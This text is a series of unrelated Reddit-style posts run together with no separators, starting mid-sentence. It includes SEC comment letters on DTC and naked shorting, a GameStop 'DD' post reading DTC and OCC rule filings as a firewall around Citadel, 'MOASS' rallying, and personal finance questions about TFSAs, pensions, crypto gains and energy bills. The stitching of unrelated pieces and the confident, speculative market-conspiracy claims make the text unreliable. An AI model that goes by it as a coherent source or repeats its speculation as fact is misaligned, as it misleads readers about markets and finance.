nailed shut. This afforded researchers a view of what was really going on behind the scenes on Wall Street as it pertains to the "delivery", or lack thereof, of shares purchased. Once out of the DTCC system for clearance, settlement, and delivery of purchased shares, the transfer agent of these issuers takes over these duties. The transfer agent is an employee of the public company it serves. In the trades under study, approximately 3 to 5% of sell orders resulted in the "good delivery" of these shares to the purchaser's firm. This was after a successful exit from the DTCC and changing over to a "certificate only" or "custody only" basis for the transference of share ownership. Good delivery in this system results in the Transfer Agent receiving in the mail an endorsed certificate that he cancels and reissues in the name of the new buyer. This transparency of our system created by this successful exit from the DTCC provided a view that was rather shocking to say the least. **The arrogance of the Wall Street community into not even cleaning up their act when the floodlights are on them speaks volumes. The problem is that of no deterrence to this type of activity because even when you get caught red-handed the reward overshadows any risk. What happened when a mass exodus of companies began exiting the DTCC because of crime..the SEC and DOJ investigated which ended many careers for these criminals and their affiliates and strict laws were enforced that stopped the crime from happening or ever happening again bringing trust and integrity back to the New York Stock Exchange…thats a no. A proposal from the SEC in favor of the DTCC so they could continue their crime.** + +# + +https://preview.redd.it/4kwlcf6xwun91.png?width=1080&format=png&auto=webp&s=0075ee05a47711d87797ec0db21b258e2b2b35e8 + +# **Comments on DTC Rulemaking Self-Regulatory Organizations; Order Granting Approval of a Proposed Rule Change Concerning Requests for Withdrawal of Certificates by Issuers(Release No. 34-47978; File No. SR-DTC-2003-02)** + +To: [rule-comments@sec.gov](mailto:rule-comments@sec.gov) Subject: Release No. 34-47365 file No. SR-DTC + +To whom it may concern. + +I **can't believe you are actually allowing the DTC to make policy ,and apply for rule changes on the fly, in order to cover their obvious and blatant inability to implement their very own mandate**. That is to correctly and properly watch over and clear securities that flow back and forth in the securities industry. + +**Now that over 60 companies have clearly uncovered Just one of the more serious flaws in the system that is and has been used to fleece the unsuspecting public out of it's precious investment dollars, you are about to allow the very individuals we turn to for investment advice to white wash the problem, and go merrily on their way.**As a shareholder in a company ( PCBM ) which is believed to have a naked short position in excess of 5 billion shares, I am appalled that you are even considering allowing the DTC to slide this under the door. You need to be forcing them to do their job as it exsists now, on such actions as fail to deliver, ,good delivery, T3, hard to borrow, etc, and You might also want to send a stronger signal to the Canadian side of this equation as well as we all know the effect that pipeline is having on this problem of naked shorting.This problem of offshore and naked short selling has grown far too big to to just be swept under the rug, and if you allow the DTC to side step their responsibility you may well find the investing public breathing down your neck in a way that will make the Arthur Anderson debacle feel like a cool breeze. + +Monday, March 24, 2003 11:12 AM To: [rule-comments@sec.gov](mailto:rule-comments@sec.gov) Subject: DTC's Request for Rule Change to Prohibit Issuers From Exiting DTC + +Dear Ladies and Gentlemen: + +**For years, small issuers have attempted to get information from DTC respecting whether DTC loans securities to those who engage in naked shorts of their securities or other information to determine the extent of naked shorts in their shares; the DTC has stonewalled them in every respect.** I am familiar with at least one judgment against the DTC for damages for this conduct. **In order to resolve naked shorts, issuers have had to resort to small dividends, name changes, requests to stockholders to order shares out of DTC or actually exiting DTC to get any result.** The latter almost immediately requires brokers to cover their naked shorts, and these naked shorts are evident to DTC at all times. What DTC is trying to do is to perpetuate what it is now doing, without any potential liability for helping the conspiracy in naked shorts that has damaged so may small companies and their shareholders. Once someone exits DTC, you can be sure the naked shorts have to be covered to complete that; that is what the DTC is upset about, not preventing them. DTC was formed to assist in the non-paper transfer of securities to facilitate the transfer of securities in a timely manner; it was not set up to allow ruthless brokers and others to carry out a naked short of securities in small companies that damages the very shareholders whose shares are deposited. If shareholders knew this, none of them would consent to have their shares in DTC. You now have DTC before you as a result of their request, and this is an opportune time to find out the extent of the naked shorts and what its role in these shorts is. All persons should have to deliver in three days! I imagine if naked shorts that have to be covered put a brokerage company under, that SIPIC gets involved, and the shareholders pay for it again as tax paying citizens. While we are reforming the securities laws, this problem of naked shorts needs to be resolved! One SEC Branch Manager told me that he believes these come from Canada as the brokerage laws are different; isn't it time we found out, and if it is from Canada, why don't we work with their agencies to stop it?! + +Thank you. + +File No. SR-DTC-2003-03 - Depository Trust and Clearing + +Corporation ("DTC") Request for Rule Change Regarding Withdrawal from DTC of Certificates by Issuers + +Dear Ms. McFarland + +This letter is in response to the above-mentioned request for rule change by the DTC with respect to Issuers seeking withdrawal of their certificates from DTC. I appreciate the opportunity to comment on this request. I am an attorney duly licensed and in good standing in the State of North Carolina, and my areas of practice are corporate law and + +federal securities law. In summary, **DTC should NOT be allowed to deny Issuers the right to withdraw their securities from the DTC system.The arrogance of the management of this "self-regulatory organization" of DTC is telling. DTC publicly announced in January that it had the right to prohibit Issuers from withdrawing from DTC, then in February DTC quietly goes to the SEC in an attempt to legitimize its pronouncement.** And this AFTER a number of companies have withdrawn from DTC with no objection from DTC, with none of the delaying tactics currently utilized by DTC. Why should DTC care if a few small OTC:Bulletin Board listed companies withdraw from DTC? Whom is DTC trying to protect? As the SEC is aware, numerous publicly traded companies, mostly OTC:Bulletin Board and NASDAQ listed companies (though an ever increasing number of AMEX and NYSE listed companies as well) have alleged and do allege that their securities are being manipulated by unscrupulous broker-dealers and market makers, either for clients or for their own pecuniary benefit. With due respect, while the SEC aggressively prosecutes cases of improper inflation or "pumping" of an issuer's securities,it seems that to date little is being done to combat manipulative trading in the other direction, namely manipulative downward pressure on the securities of issuers. In this I am referring, of course, to the phenomenon of "naked" short selling,better described as counterfeiting shares to sell into the market in violation of the registration requirements of The Securities Act of 1933, as amended. Issuers are doing what they can to stop this activity. One action many are attempting to take is to remove their securities from the DTC system, thus at least minimizing the incentive of these brokers (and the money behind them) and making it more difficult for them to manipulate their share prices. Why should DTC care if issuers take this action?More importantly, why should it be the right of DTC to decide who does and does not participate in DTC? **Note that DTC wants the rules to read that it can deny issuers from withdrawing even if the shareholders of the issuer approve it.** I quote: "Since this is a clarification of DTC's rules and procedures, DTC will continue to not honor Issuer Withdrawal Requests regardless of any purported approval of the Issuer Withdrawal Request by the shareholders or board of directors of the issuer." DTCclaims it is a clarification, but of course it is not. They also call it a proposed "rule change" (see first paragraph of DTC's submission),which is closer to the truth. This "self-regulatory" arrogance should not be permitted. + +Note also the comment of DTC that "The securities at issue generally became eligible for DTC services at the request, or for the convenience,of DTC's participants who wish to utilize DTC's book-entry transfer system. The subject securities are held by DTC for the benefit of its participants." No consideration is given to the Issuers, or their + +shareholders. Is DTC or is it not a voluntary organization? If so, should not the issuers subject to DTC be able to decide whether or not they are to be "volunteered"? After all, alternatives exist, such as X-clearing, or issuer or transfer agent book entry systems. Alternatives that do not lend themselves as quickly to market manipulation. I would + +wager that an independent audit of DTC's records would reveal that DTC does not even know who has what, or who has borrowed what from whom. Has an independent audit of DTC's holdings EVER been done by ANYONE? +For those of you who invested heavily on tech stocks (Shopify, Google, and the likes) during the peak Covid period when these stocks were high, how are you guys consoling yourselves? They say whatever goes down comes up, is it just waiting patiently now? Not on the same path, but how about those who invested in crypto? +Getting old, so I am checking how much I need to retire. + +Then the reality dawned on me. According to wealth simple retirement calculation, I need approximately $3 million to retire in Canada. + +So, how can I achieve that in 5 years without having bank robbing on the table? + + +Edit: the verdict is in, moving to Mexico. It makes sense because it’s no risk. Also, I forgot to include CPP payment so I actually don’t need that much in cash. + +[View Poll](https://www.reddit.com/poll/mjjm8r) +So when I first started my TFSA account, I had no idea what the rules were (I was a naive kid), so I did a bit of daytrading (didn't make any meaningful profit). After a while, I started to just hold stocks and I have made roughly 30k which is around 100% return. + +I know that this is probably not high by CRA standards, but if my stocks hypothetically do abnormally well in the next few years, can I get audited based on my initial day trading activity? + +If I do get audited, what is the worst case scenario? I wouldn't mind paying income taxes if it really comes down to it, but is it possible that I can get further fined for breaking the law or something? +I’ve had my self directed since it’s inception but wasn’t really too big Into investing until this year with all the volatility. I’m at approximately 2/3 of my contribution limit. The the past year I’ve thought myself how to swing trade and have actually gotten good at it (16k in profits since April). Doing more research into TFSA accounts, I’ve come to realize that CRA doesn’t like people doing trades like I do (average 2-3 trades a week). So I’ve decided to tone it down and to do long term investing I’m my TFSA instead. + +I’m 32 years old healthcare worker who makes 90k a year. I have a decent pension and planning to retire at 55. My wife is also in the same boat as me. So I don’t know if opening a RRSP will be beneficial for me. We are still planning to buy a larger house as we just had a baby. + +The thing is I really love swing trading. But I obviously don’t want the tax man to hunt me down. In this case should I open an RRSP or a taxable account to continue swing trading? Should I max both out TFSAs before I start swing trading again? + +Thanks for the read +I’m only 20 and am looking to invest in my future. Yes I already have an emergency fund and my school fees are taken care of, so that is the least of my worries. However, I have 20k to “spare” and don’t know if it is redundant to invest in both VGRO and TEC.TO ETF. + +Any advice would be appreciated. +Thanks +Some of you may have seen me post this already a few times. Many who responded have requested I post this separately as it is often buried in the comments. + +I understand that not everyone has the time nor the experience to actually read the DTC and OCC regulatory changes. However, it is important that when assessing the DD and broad generalizations put forth by others, you take some time to skim the underlying document and also align it with reality. I waited for today to post this because 005 is another regulatory filing which has been totally misconstrued and I wanted to wait until Monday so that you can see for yourselves why. + +Let's start with **SR-*****DTC*****-2021-004** and **SR-*****OCC*****-2021-801** and then we will discuss **SR-*****DTC*****-2021-005** and **SR-*****OCC*****-2021-004**. + +# For Apes: + +Citadel Farms belong to Banana Farmer Association. Banana Farmer Association create banana backup crop that every farmer contributes to. If farmer crop go bad, farmer can take from banana backup crop so farmer survive the season and farm next year. + +Citadel Farms want more banana. Citadel Farms want more banana plants for humans and burn down field of wild banana plants where apes eat. Apes not happy and attack Citadel Farms and take their banana crop and eat every last banana. Now Citadel Farms cry to Banana Farmer Association to ask for backup crop. + +Banana Farmer Association see that Citadel Farms did this to themselves and now say first we give back ONLY bananas you contributed. Then we sell your equipment, tools, and lease your land and we give you more banana. + +# For Homo Erectus: + +801 is **not** a margin call and it doesn't allow OCC to margin call Citadel. It raises the Target Capital Contribution to 25% *for all members* from the current variable rate and it introduces a new Minimum Corporate Contribution that DTC already has for its members. It has a different purpose in this game and you need to understand why we are all waiting for this because it creates the conditions whereby Citadel *can be margin called without a lifeline*. + +[I write about 801 here](https://www.reddit.com/r/GME/comments/mgus2l/rc_announcement_going_to_send_stonk_to_da_moon/gswzxsa?utm_source=share&utm_medium=web2x&context=3). Gist of it is that Options Clearing Corporation (OCC) of which Citadel Securities and Citadel Clearning are members is requiring a new Minimum Corporate Contribution and a new 25% Target Capital Requirement. It further clarifies that in the case of a default, the defaulting member's assets are drawn first before member assets are used. + +[A snippet from page 19](https://www.sec.gov/rules/sro/occ/2021/34-91184.pdf): + +>`Establishing a Minimum Corporate Contribution, which OCC would apply after a defaulting Clearing Member’s margin and Clearing Fund deposits`, would ensure a minimum level of OCC’s own pre-funded financial resources available to cover credit losses. `By applying the Minimum Corporate Contribution before charging the Clearing Fund, the proposed change helps protect non-defaulting Clearing Members from default losses of another Clearing Member`, which in turn helps reduce OCC’s overall level of risk and ensure the prompt and accurate clearance and settlement of its cleared products. + +[I wrote about 004 here](https://www.reddit.com/r/GME/comments/mgs05i/analysis_of_srdtc2021004_dtcc_changing_the_game/). 004 does the same thing but in the context of DTC (of which both Citadel Securities and Citadel Clearing are members): it subtly shifts the language of the underlying agreement to make it clear that the defaulting member's Corporate Contribution gets drawn down first and assets from the defaulting member are used as collateral for liquidity. Prior to 004, they would have drawn the liquidity from all member contributions. + +[A snippet from page 14](https://www.dtcc.com/-/media/Files/Downloads/legal/rule-filings/2021/DTC/SR-DTC-2021-004-Approval-Notice.pdf): + +>Within Table 5-B, Corporate Contribution is the first entry under the column labeled “Tool.” Currently, the narrative for this entry includes a description of Corporate Contribution and delineates that in the event of a cease to act, `before applying the Participants Fund deposits of all other Participants to cover any resulting loss, DTC will apply the Corporate Contribution.` The proposed rule change would revise the current text of the definition of Corporate Contribution in order to more closely align with how this term is defined under Rule 4. Specifically, pursuant to the proposed rule change, the definition of Corporate Contribution would be revised to state, “The Corporate Contribution is an amount that is equal to 50% of the amount calculated by DTC in respect of its General Business Risk Capital Requirement, for losses that occur over any rolling 12 month period.” `Similarly, the sentence directly above the definition of Corporate Contribution would be revised to remove the words “applying the Participants Fund deposits of all other Participants,”` and replace them with “charging Participants on a pro rata basis (other than the Defaulting Participant).” + +Both documents deal with the procedures on drawing from the member "doomsday fund" and changes how a defaulting member may access the member contributed insurance pool. + +The way I see it, the DTCC and OCC are setting the stage to firewall "some entity" (may be Citadel, may be others) from taking from the member insurance pool. Basically, with the change in verbiage with respect to 801 and 004, they are removing the lifeline from any defaulting member. It's the Banana Farmers Association saying that if you make a mistake, we're not giving you our bananas until your bananas are all used up. + +We may very well see a huge shift in GME in the coming days as the firewalls around Citadel are coming into place. OCC 801 firewalling Citadel options activities. DTC 004 firewalling Citadel securities activities. Without these lifelines, it all be guarantees that Citadel will be completely wiped out in a default. **The billion dollar question** is whether this is the condition for which The Whale is waiting for to launch the final attack. + +It's speculation that these have been designed with Citadel specifically in mind, but very possible. + +# Let's Talk About [SR-DTC-2021-005](https://www.dtcc.com/-/media/Files/Downloads/legal/rule-filings/2021/DTC/SR-DTC-2021-005.pdf) + +I saw lots of posts over the weekend hyping this and the reality is that this change is not relevant. **It should be obvious in the fact that it required no comment period and no SEC review**. + +The reason why it's been hyped is that the people doing the DD are reading it wrong. You need to start reading it on **Page 29** then go back and read the rest of the document. + +Page 29: + +>`Pursuant to the proposed rule change, DTC would revise the text of the Settlement Guide to reflect that Pledged Securities do not move to an Account of the Pledgee`. As discussed above, the movement of the securities is not required to effect a Pledge and does not impact the rights of Pledgor or Pledgee under the Rules or the NYUCC. `Rather a Pledged Securities continues credited to the pledgor’s account, however with a system notation showing the status of the position as pledged by the pledgor to the pledgee`. This status systemically prevents the pledged position from being used to complete other transactions, which is consistent with the Pledgees Control over the Pledge Securities, as discussed above. Likewise, the release of a pledged position results in the removal of notation of the pledge status of the position and the position would become available tothe pledgor to complete other transactions. + +The "proposed rule change" is how DTC manages the transfer of securities on the backend. It has nothing to do with FTDs, rehypothecation, preventing deep ITM calls to close FTDs, etc. Nothing. It is a change to the member agreement to reflect how they handle transfer of securities on a technical level. They even say so multiple times: + +On page 4 they write: + +>As discussed below, `the proposed rule change relates to a technical aspect of the operational processing of Pledge transactions` and would not impact the rights or obligations of a Participant or Pledgee. + +Again on page 11: + +>`The changes to the Settlement Guide text are technical in nature`, and while enhancing clarity with respect to the book entries performed by DTC as they relate to pledge activity, the change would not impact the rights or obligations of Participants and Pledgees. + +Now read these pages: + +Page 22: + +>However, as more fully discussed below, while the Settlement Guide and the Pledgee’s Agreement make reference to the movement of Securities to a Pledgee’s Account, `from an operational standpoint, DTC does not in fact credit a Security to an Account of a Pledgee; what the Pledgee receives is not a Security Entitlement`. The Securities remain credited to the Pledgor’s account until the Pledgee releases the Pledged Securities or makes a demand for the Pledged Securities, as discussed below. `Rather, a notation is placed on the Account of the Pledgor that the Securities are Pledged to the Pledgee` and the Securities remain in pledged status until the Pledgee instructs otherwise. + +Page 28: + +>A Pledgee has “control” under Articles 8 and 9 of the NYUCC and under the DTC Rules of any Security Entitlements pledged to it through the facilities of DTC, and `the Pledgee is empowered to issue Entitlement Orders to DTC to direct the release, delivery or withdrawal of any such pledged Security Entitlements`. + +They basically say "this is how we actually do it so we are just amending our agreements to reflect that". This is probably also why this change has no comment period and no SEC approval involved. + +So what they are doing is updating the member agreement to reflect the fact that they don't actually transfer securities and only place a notation in their ledger. But because of this technical change, they need to update the original agreement and thus the strikeouts and amendments. + +Now here is where you have to go back and re-read page 11 where everyone is getting hyped up (pay special attention to the formatting notation): + +>(bold, underlined text indicates additions; bold strike-through text indicates deletions) + +[Please read this text on page 11 carefully after understanding the above](https://preview.redd.it/k2fp2svgocr61.png?width=740&format=png&auto=webp&s=90724f6ab9cbd099041ca45ebf7fe7f391948598) + +So the text: "*prevents the pledged position from being used to complete other transactions*" is **unchanged**. The text: "*available to ... complete other transactions*" is **unchanged**. The strike of "*from*" and replacement with "*held in*" is a reflection of the technical mechanism of how they handle the transaction with a ledger notation and not an actual transfer of securities. + +The problem is that people have been reading page 11 without reading page 29 which explains why they are making the change. + +If you are interested in the underlying OCC agreement, you can find it here: [https://www.sec.gov/rules/sro/occ/2021/34-91184-ex5a.pdf](https://www.sec.gov/rules/sro/occ/2021/34-91184-ex5a.pdf) + +005 is **effective immediately** as of the filing date 2021APR01 per page 15: + +[Since it's effective immediately, whatever hype other DD has created should be in play today right?!?](https://preview.redd.it/s7qerr56odr61.png?width=768&format=png&auto=webp&s=362bcf493cdf10352be4c94c4125baa5177c8106) + +Why didn't such a "**MASSIVE GAME CHANGER**" require a comment period and SEC review? + +Again, on page 16, they emphasize: + +[\\"...because the changes are technical in nature\\" \\"without impacting the respective rights or obligations of DTC or persons using DTC's services\\"](https://preview.redd.it/d4y7x3mfodr61.png?width=777&format=png&auto=webp&s=15033e31346183a0103e4837914b1645308201e6) + +Repeat after me: SR-DTC-2021-005 is purely technical in nature. + +# [SR-OCC-2021-004](https://www.sec.gov/rules/sro/occ.htm#SR-OCC-2021-004) Is Probably the Final Nail + +Look, I can summarize this for you, but you should really read it yourself and see how all three of these fit together. SR-**DTC**\-2021-004 is the analogue of SR-**OCC**\-2021-801 + SR-**OCC**\-2021-004. + +# In Summary + +005 is not relevant to either GME, AMC, nor any other stock that is currently being shorted. It is purely a change to the member agreement to clarify a technical point of how DTC systems manage accounting. + +My sense is that the real answer is OCC-801 + **OCC**\-004 because OCC-801 + **OCC**\-004 (options) is the twin of **DTC**\-004 (securities) to create a firewall before the match is lit. ***If you're going to burn down Citadel, don't you want to make sure that 1) they don't touch your money and 2) they will never get back up again?*** + +# FAQ + +These are some questions (and variants of) I've gotten over the last two weeks regarding my post and assessment. + +**Q: Why weren’t these the rules to begin with?!?! Seems this would encourage less accountability before these were written.** u/classless_classic + +DTC and OCC are self-regulatory bodies. If you wonder "why doesn't the SEC step in!?!" it's because ostensibly, DTC and OCC are **self-regulating** in the same way that Reddit is largely self-regulating. As such, there is a duality to how 004 and 801 will change that relationship between its members. It can be argued that because all members are exposed to risk through the shared pool, it encourages better self-policing and stronger self-regulation when everyone has something at stake. By isolating failing members, this may encourage bad behavior and in fact, may lead to shady activity with the express intent of causing a member to default (which is exactly what I think is going to happen). + +**Q: Forgive my smooth brain, If they aren’t covered by insurance, how would apes get bananas?** u/bombalicious + +004 and 801 do not change the fact that DTC and OCC will pay out of their shared member pool, but that they will only do so *after* the defaulting member has forfeited their member contributions and in the case of 004, the defaulting member's assets are used as collateral for liquidity (in other words, their assets are seized and liquidated for capital). + +The **one thing** that is a bit worrying is part of SR-DTC-2021-004 on page 9: + +>Second, in Table 3-B (DTC Critical Services), the description of critical service #19, (Cash and Stock Distributions) states that “As the owner of the securities, DTC has an obligation to its Participants to distribute principal, interest, dividend payments and other distributions received for those securities. No alternative provider is available.” `The proposed rule change would revise the first sentence of this description to add the phrase “on the issuer’s books and records” after the words “As owner of the securities.”` DTC believes this change to the description, which currently does not include a reference to the fact that DTC’s obligations with respect to distribution of “Cash and Stock Distributions” arise from its ownership of securities on the books and records of the issuer, is necessary to make clear that DTC is not the beneficial owner of the securities. + +In other words, changing: + +>As the owner of the securities, DTC has an obligation to its Participants to distribute principal, interest, dividend payments and other distributions received for those securities. No alternative provider is available. + +To: + +>As the owner of the securities `on the issuer’s books and records`, DTC has an obligation to its Participants to distribute principal, interest, dividend payments and other distributions received for those securities. No alternative provider is available. + +In other words, if you are cooking your books, we are not responsible and have no obligations beyond whatever is on the "books and records". This may be preparing to shield DTCC from shareholder lawsuits with respect to counterfeit shares. + +**Q: Wtf is taking so long with 801? What’s the hold up?** u/BurnerAcctNo1 + +Keep in mind that OCC-801 and DTC-004 are from two different organizations with two different processes, two different sets of lawyers, two different underlying agreements. This should be apparent because one is SR-**DTC**\-2021-004 (securities) and the other is SR-**OCC**\-2021-801 (options). So while I think they have the same goal, they originated from two totally different groups so have their own timelines. + +**Q: "Wen moon?" or ...do you know where we are for a timeframe on 801?** u/tardbanana + +OCC-801 was filed on 2021FEB23. Comments were technically due 2021MAR16. It is not clear to me exactly when it will go into effect. Page 28 of 801 states that the change may be implemented "**within 60 days of the later of (i) the date the proposed change was filed with the Commission or (ii) the date any additional information requested by the Commission is received**". If 60 calendar days, that puts it at Apr 24. But keep in mind: "*within* 60 days" so it could come at any time. + +**OCC**\-004 was filed 2021MAR21 and on page 12 states: "**Within 45 days of the date of publication of this notice in the Federal Register or within such longer period up to 90 days (i) as the Commission may designate if it finds such longer period to be appropriate and publishes its reasons for so finding**" + +I believe these are calendar days as [the SEC has a very specific designation for business days](https://www.sec.gov/rules/final/2011/34-64251.pdf) and would have used "business days" if it were the case. + +[If I were Citadel, what would I do? Try to delay the SEC from approving OCC-801 and OCC-004](https://www.bloomberg.com/news/articles/2021-04-01/citadel-securities-hires-ex-cftc-chairman-tarbert-as-legal-chief) because this buys me more time. See that language above? They just need the Commission to request additional information to delay the implementation. + +**Q: So 801 is the catalyst we're waiting for?** + +No; 801 by itself is not the catalyst; you should think of both 004 and 801 as a "barrier" or "shield" that is being put into place before whatever event is going to happen. So with 801 in place, then we will see the catalyst because all parties have donned their safety gear. Until 801 is in place, I don't think the Long Whale allows the rocket to launch because they are not protected from the shorts failing; failing shorts can still draw from the member contribution pool that all non-defaulting members have contributed to and the current agreement does not allow seizing defaulting member assets to use as collateral for liquidity. + +I think all of the DD around "max pain" is misguided. If there is a Long Whale, the Long Whale is likely simply keeping the price in a narrow band to prevent the launch before the safety gear is set up. + +Putting my tin foil hat on a for a moment: if there is any truth that this is being orchestrated by BlackRock, then the announcement of a new CEO, share recalls for the shareholder meeting, any other catalyst -- all of it is waiting for OCC-801 to be in place first. Rather than the Long Whale being BlackRock, I think the Long Whale is the majority of DTC and OCC non-defaulting members who have agreed that they need to shield themselves as much as possible from the default of a few members in this impossible short position. We may well see everyone start to cover once 801 is in place. Why did we get shut down in Jan? Because it was a broader threat to all of DTC and OCC without the member agreement changes encapsulated in 004 and 801. In reaction, DTC and OCC members "contain" GME until the firewalls are up. Citadel knows the game is up. DTC knows the game is up. OCC knows the game is up. If we can guess the short float and GME confirms the massive short float, then DTC and OCC *know* the short float because they are keeping records of these transactions. +If you planning to watch court stream, then its probably better to use official youtube court stream. + +[https://www.youtube.com/c/USCourtsCADC/featured](https://www.youtube.com/c/USCourtsCADC/featured) + +&#x200B; + +United States Court of Appeals for the DC Circuit + +Monday, October 25, 2021 **9:30 A.M. USCA (Live-Stream)** + +Judges Rao, Walker, Sentelle + +Case#: 20-3025 USA v. Arnold Jackson (10 minutes per side) + +Case#: 20-7054 United Mine Workers of America v. Energy West Mining Company (10 minutes per side) + +**Case#: 20-1424 Citadel Securities LLC v. SEC (10 minutes per side)** +I'm OG, I've been in since September 2020, I bought shares at $8. + +But all this time I've been sat on the sidelines with my broker Trading212. +You see my shares are held in an ISA Account which means it's tax free whenever I sell my shares and take profit and because of the shitiness of the broker I can't transfer my shares out. I have to sell in order to re-purchase elsewhere. +So I never DRS'd, after all - MOASS is predicated on the fact all these synthetics need to be bought back + +But that ends now. + + + +I've opened an IBKR account, purchased 1 GME share and DRS'd it. +Once my Computershare account is active and confirmed I'll be getting a loan for the current price of my total GME shares and re-purchasing my shares through CS. + +I've been sat on the sidelines too long and it's been painfully clear for a while now that DRS really is the way forward. + +I just didn't want to admit it to myself that I would lose tax free status by going DRS. + +But if I get screwed by my broker, what's tax-free status on 0 anyway. + + +DRS incoming. +Would love any advice on setups for good sound and light-proofing? More chubby than fat but willing to spend in this area as our bedroom is a sieve for noise and light. We already have a great mattress, linens, etc. but I’m looking to replace windows (any genuinely better brands?), and put in blackout shades or curtains. I’ve even considered automatic hurricane shutters because I’ve slept with them on the coast and it was like sleeping in a tomb (in the best possible way) but feels a little excessive for our area. + +Our bedroom has 9 windows (why???) and lots of angles so I’m also debating a designer just for window treatments. Many thanks for any thoughts or experiences. +My wife gave up work a few months ago as the hours were detrimental to her health and well being. I also retired and have a pension income, I also have another job so we are not worse off. + +My salary goes into a joint account and she has access to it. No stipulations other than leave some money for the bills :-) + +She has asked for an allowance to buy clothes etc. Now as far as I am concerned she is free to use the normal accounts to do that. Before I decided to post here I Googled the question and was surprised that there was a lot of negativity about an allowance, i.e. a form of abuse and control. + +I am considering just giving her a large lump sum for her birthday as an alternative. + +What is the best way to resolve this. +Yeah I'm an idiot - I got placed on my graduate scheme with a specific team and I did really well and they offered me a job, I accepted, told my current team I won't finish the graduate scheme and I will return to the other team even though if I finish I'll get a higher position/salary. I sent an email to the manager of the team I'm returning to saying I am excited to start. + +I'm now regretting it, I'm taking a 40k job instead of a near 55k job. + +Is it career suicide to email again in the morning backing out and apologising or should I just go for it? I've messed them about loads and now this will be more of me messing and they'll wonder wtf I'm doing. + +Do I accept a 15k less salary for my pride/professional reputation? +I just saw today a post from a guy asking if moass is still possible. +Guys, we have the most powerful people as enemies. When GME launched its wallet, the big media talked about Carl icahn is still short, what basically isn't new since he short since last year January. + And with the hate gme gets again from the old sub, and the countless amounts of shills, which spread very smart FUD and very subliminal, you can see the war is still on going. + +Those accounts which spread FUD are mostly either 10 years old around reddit accounts or those which have a +18 information if you click on their account. + +Please check the people account when their post is really Sus. I've been here since over a year and when I see those red flags I laugh and contune. + +Last thing I want to tell you is, if you all continue to firmly believe, that there is MOASS, then there will be MOASS! the moment we don't believe in it anymore and start thinking they might be right and paper hand our golden ticket , they won. IT IS A WAR + In Germany we say : glaube kann Berge versetzen. += faith can move mountains +Throwaway account for obvious reasons. I am posting this for others who may be debating about what to do with their BTC gains. + +First heard about Bitcoin in 2013. Ordered $8k worth of computer parts and took over the extra power in my house and built milk crate mining rigs. Kept them running, even as the price fell... As cards failed I didn't replace them. Long story short, I end up with ~80 BTC. + +During the "down years" before things really picked up steam I played around mining some other things, so I have around 65 Litecoin and 70 Ethereum. I messed around and spent some BTC just because I could, a couple BTC on online poker/casino sites to see how it worked... And that ill fated 1 BTC porn video from a Redditor who is probably laughing her way to retirement by now.... ;) + +Earlier this month I became a cryptomillionaire on December 10th. That was an awesome achievement. Luckily for me I've been involved in technology so I was already a millionaire in the traditional sense. Not anything too crazy... 4M net worth or so, but used to dealing with money and investments. My advice to others is based on 30 years in technology and being a high net worth individual since the early 2000's. + +Today I passed 1.5M in crypto wealth and I cashed out a third of my holdings to pay off my mortgage. I did this for multiple reasons: + +1. I think we are in a speculative bubble. I believe in crypto and blockchain technology. It is going to change the world. But the utility is not fully there yet. The current price, in my opinion, is overinflated relative to what these things are really doing in the world. I think there will be a correction but eventually things will really take off, similar to the dot com bubble. Having worked in technology since 1997 this is just my opinion based on my gut reaction to everything going on. + +2. Traditional banking needs reformed/to die. Why should a big bank get to collect thousands in interest from me every year? I view selling some of my crypto and clearing a major debt as not only a personal gain but a vote against the system. I would encourage anyone who can clear debt against existing fiat to do so. I would rather put $1k back into crypto a month than be giving $1k in interest back to the banks. + +3. You are not investing if you are not ever willing to take gains, you are just gambling. I don't think anyone should ever sell 100% of their crypto, but you need to be able to part with some of your BTC at the time and choosing that makes the most sense for you and your goals. + +As part of adjusting my crypto portfolio for the future today, I also converted all my Bitcoin Cash to BTC. I very much do not like what is coming out of the mouths of that group, and I believe there should only be one "Bitcoin." I am appreciative of the free money that landed in my lap from that fork, but too many options is going to confuse the general public. I encourage everyone to do the same. + +As I write this, I am still a cryptomillionaire and am looking forward to the future. But I have future goals in mind where I may clear other debts or continue to diversify. Unless you have no debts at all and no plans in your life I think HODLing until death is a pretty silly idea. Everyone should have some goals in mind with any financial venture. Just make sure they are big enough checkboxes that you won't keep looking back. + +EDIT: Since many people have asked: I used Gemini to do the sale. I also have a Coinbase account, but the fees are much higher for a large sale. Yes, you can have your limits raised at both places to be able to do larger sale quantities and bank transfers. + +EDIT2: Just to clarify, me mentioning my net worth and background is not to brag (to be honest, many of the people I know in the industry are worth 10X me because they took more risks) than wanting other people to know that I consider myself a successful and educated investor. When someone who has no experience is handed 1M they lose it (look at lottery winners). I want people to NOT lose, so I am using my knowledge to make sure others without that think carefully and realize that taking some gains is not a bad thing. HODL is great and all, but you need to be smart about what you own, crypto or otherwise. I apologize to anyone if it comes off as grandstanding, but you shouldn't get emotional about money. +Every month I budget £61 for my monthly bus pass. When it runs out I buy a new one. Over several months, the date of purchase for my new pass has slowly crept back, due to it running out on Friday and buying a new on the Monday, annual leave, working from home some days etc etc. + +I'm in a position now where my old pass runs out only a week before I am due to be paid again. I have £61 set aside from April's pay ready for the purchase, however if I purchase a weekly pass for £17, it would leave £44 of my bills budget left over, and I would buy a monthly pass the week after with money from my May pay. + +I can't wrap my head around the logic here. I am buying an item that is worse value for money, but this leaves me with £44 of money I can now use for something else I will enjoy, a meal out, some new clothes etc. + +Is there a logical fallacy here or does this make sense? Obviously the amounts are small but I am interested in this as a thought experiment. +Hi All, + +I'll try and summarise this. I am 41 years old in June and had a wake up call exactly a year back - I HAVE ONLY 31K IN MY PENSION! + +I earn around 69K a year and with company shares per year that bring my total salary to around 100K per annum gross. + +I decided to go hard on my pension and through my employers pension scheme decided to salary sacrifice and live off 35K gross per year. + +The employer only matches up to 5%. + +My total including the 5% comes to around 3K per month to the pension. I figured I'd benefit from the 40% tax thingy. Sorry don't know the technical terms. + +Today an elder leader of mine stated that I am mad to be sacrificing that much and that I should only match the 5% and throw the rest into an ISA. + +So his advice is to send approx 500 to the pension, which includes the 5% and shove the rest into an ISA. That won't be exactly 2500 since I'll now be susceptible to the 40% tax for anything over the 50K threshold. + +He said I could make more through going with an ISA and not have to wait until an age where I might be alive or not. Live life a little. + +What are your thoughts? +As the title says. This is combined gas and electric. + +I bought my house in Feb 2018, and my energy prices were £50/month with Bulb. I was constantly in credit, too. + +However, they moved up to £150 earlier this year due to last winter costing a lot more (I guess I was there more due to lockdown) and maybe a result of fitting a smart meter. + +This month, it's gone up to £194/month and I am ~£200 in debt to them. Is my usage really that high? I'm living alone. It's a 2 bed house so fairly big for me 